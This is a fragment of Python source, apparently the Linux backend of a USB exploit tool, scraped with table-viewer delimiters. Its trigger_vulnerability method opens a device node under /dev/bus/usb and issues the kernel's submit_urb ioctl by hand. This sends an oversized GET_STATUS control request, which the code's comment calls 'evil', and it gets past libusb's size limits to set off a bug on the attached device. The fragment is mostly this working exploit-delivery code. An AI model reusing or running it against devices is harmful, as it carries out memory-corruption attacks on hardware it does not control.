text
stringlengths 0
93.6k
|
---|
by the usbfs. More realistically, the usbfs seems fine with it, and we just
|
need to work around libusb.
|
"""
|
BACKEND_NAME = "Linux"
|
SUPPORTED_SYSTEMS = ['Linux', 'linux']
|
SUPPORTED_USB_CONTROLLERS = ['pci/drivers/xhci_hcd', 'platform/drivers/dwc_otg']
|
SETUP_PACKET_SIZE = 8
|
IOCTL_IOR = 0x80000000
|
IOCTL_TYPE = ord('U')
|
IOCTL_NR_SUBMIT_URB = 10
|
URB_CONTROL_REQUEST = 2
|
class SubmitURBIoctl(ctypes.Structure):
|
_fields_ = [
|
('type', ctypes.c_ubyte),
|
('endpoint', ctypes.c_ubyte),
|
('status', ctypes.c_int),
|
('flags', ctypes.c_uint),
|
('buffer', ctypes.c_void_p),
|
('buffer_length', ctypes.c_int),
|
('actual_length', ctypes.c_int),
|
('start_frame', ctypes.c_int),
|
('stream_id', ctypes.c_uint),
|
('error_count', ctypes.c_int),
|
('signr', ctypes.c_uint),
|
('usercontext', ctypes.c_void_p),
|
]
|
def print_warnings(self):
|
""" Print any warnings necessary for the given backend. """
|
print("\nImportant note: on desktop Linux systems, we currently require an XHCI host controller.")
|
print("A good way to ensure you're likely using an XHCI backend is to plug your")
|
print("device into a blue 'USB 3' port.\n")
|
def trigger_vulnerability(self, length):
|
"""
|
Submit the control request directly using the USBFS submit_urb
|
ioctl, which issues the control request directly. This allows us
|
to send our giant control request despite size limitations.
|
"""
|
import os
|
import fcntl
|
# We only work for devices that are bound to a compatible HCD.
|
self._validate_environment()
|
# Figure out the USB device file we're going to use to issue the
|
# control request.
|
fd = os.open('/dev/bus/usb/{:0>3d}/{:0>3d}'.format(self.dev.bus, self.dev.address), os.O_RDWR)
|
# Define the setup packet to be submitted.
|
setup_packet = \
|
int.to_bytes(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, 1, byteorder='little') + \
|
int.to_bytes(self.GET_STATUS, 1, byteorder='little') + \
|
int.to_bytes(0, 2, byteorder='little') + \
|
int.to_bytes(0, 2, byteorder='little') + \
|
int.to_bytes(length, 2, byteorder='little')
|
# Create a buffer to hold the result.
|
buffer_size = self.SETUP_PACKET_SIZE + length
|
buffer = ctypes.create_string_buffer(setup_packet, buffer_size)
|
# Define the data structure used to issue the control request URB.
|
request = self.SubmitURBIoctl()
|
request.type = self.URB_CONTROL_REQUEST
|
request.endpoint = 0
|
request.buffer = ctypes.addressof(buffer)
|
request.buffer_length = buffer_size
|
# Manually submit an URB to the kernel, so it issues our 'evil' control request.
|
ioctl_number = (self.IOCTL_IOR | ctypes.sizeof(request) << 16 | ord('U') << 8 | self.IOCTL_NR_SUBMIT_URB)
|
fcntl.ioctl(fd, ioctl_number, request, True)
|
# Close our newly created fd.
|
os.close(fd)
|
# The other modules raise an IOError when the control request fails to complete. We don't fail out (as we don't bother
|
# reading back), so we'll simulate the same behavior as the others.
|
raise IOError("Raising an error to match the others!")
|
def _validate_environment(self):
|
"""
|
We can only inject giant control requests on devices that are backed
|
by certain usb controllers-- typically, the xhci_hcd on most PCs.
|
"""
|
from glob import glob
|
# If we're overriding checks, never fail out.
|
if self.skip_checks:
|
print("skipping checks")
|
return
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.